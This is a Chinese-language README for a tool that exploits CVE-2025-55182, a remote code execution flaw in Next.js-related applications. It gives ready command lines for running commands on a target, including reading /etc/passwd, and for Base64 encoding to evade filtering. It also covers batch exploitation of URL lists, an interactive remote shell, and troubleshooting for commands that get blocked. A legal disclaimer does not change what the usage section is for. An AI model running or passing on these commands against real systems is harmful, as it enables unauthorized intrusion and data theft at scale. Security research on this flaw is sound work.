CVE-2025-55182 漏洞利用工具

工具简介

本工具用于检测和利用 CVE-2025-55182 漏洞（推测为 Next.js 相关框架的代码执行漏洞），支持单目标/多目标批量检测、命令执行、交互式shell等功能，提供4种攻击模式适配不同场景，支持Base64编码命令、代理转发、日志输出等灵活配置。

漏洞说明

CVE-2025-55182 漏洞可能存在于 Next.js 相关应用中，通过构造恶意请求篡改 _response 中的执行逻辑，注入 child_process 模块调用，实现远程命令执行（RCE）。工具通过发送特制的表单数据，触发漏洞并返回命令执行结果。

环境要求

• Python 3.7+
• 依赖库：requests
• 安装依赖：
  • root@kitploit:~

    pip install requests
    

基本用法

1. 单目标命令执行（默认攻击模式）

# 执行 whoami 命令（攻击模式1：有响应）
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami"

# 执行系统命令（Base64编码，避免特殊字符拦截）
python CVE-2025-55182-exploit.py -u https://target.com -c "cat /etc/passwd" -b

# 完整回复模式（Base64解码返回结果）
python CVE-2025-55182-exploit.py -u https://target.com -c "ipconfig" -p 4

2. 多目标批量检测

# 从文件读取目标URL，批量执行 id 命令（20线程）
python CVE-2025-55182-exploit.py -l targets.txt -c "id" -t 20 -o result.log

3. 交互式shell模式

# 连接目标，进入交互式命令行（支持Base64编码切换）
python CVE-2025-55182-exploit.py -u https://target.com -s

4. 代理模式（抓包/流量转发）

# 通过Burp Suite代理抓包分析
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami" --proxy http://127.0.0.1:8080

参数说明

攻击模式详情

交互式Shell命令

进入 -s 模式后，支持以下内置命令：

输出说明

1. 控制台输出：包含执行时间、目标URL、响应状态码、命令执行结果等关键信息；
2. 日志文件：所有执行记录（成功/失败）自动写入 --outlog 指定的文件，便于后续分析；
3. 成功列表：批量检测结束后，自动汇总存在漏洞的目标（状态码303/500）。

注意事项

1. 合法授权：使用本工具前必须获得目标系统的合法授权，严禁用于未授权的渗透测试；
2. 参数互斥：
   1. -u 与 -l 二选一，同时指定时优先使用 -u；
   2. -c 与 -s 互斥，-s 模式下无需指定 -c；
3. URL格式：
   1. 若 -l 文件中的URL无协议头（如 target.com），工具会自动尝试 http:// 和 https://；
   2. 建议手动指定完整URL（如 https://target.com），避免不必要的连接失败；
4. 编码处理：启用 -b 或 b64 模式时，工具会自动处理Base64编码/解码，无需手动操作；

常见问题

1. “Proxy not available”：代理不可用，检查代理地址是否正确，或使用 --skip-check 跳过检测；
2. 命令执行无结果：
   1. 尝试切换攻击模式（如 -p 4 完整回复模式）；
   2. 启用Base64编码（-b）避免命令被目标系统拦截；
3. 连接超时：检查目标是否可达，或增大 --time-out 超时时间；
4. SSL握手失败：目标不支持HTTPS协议，可尝试使用HTTP协议（如 http://target.com）。

免责声明

本工具仅用于网络安全研究和漏洞验证，使用者因违反《网络安全法》等相关法律法规造成的一切后果，均由使用者自行承担，与工具开发者无关。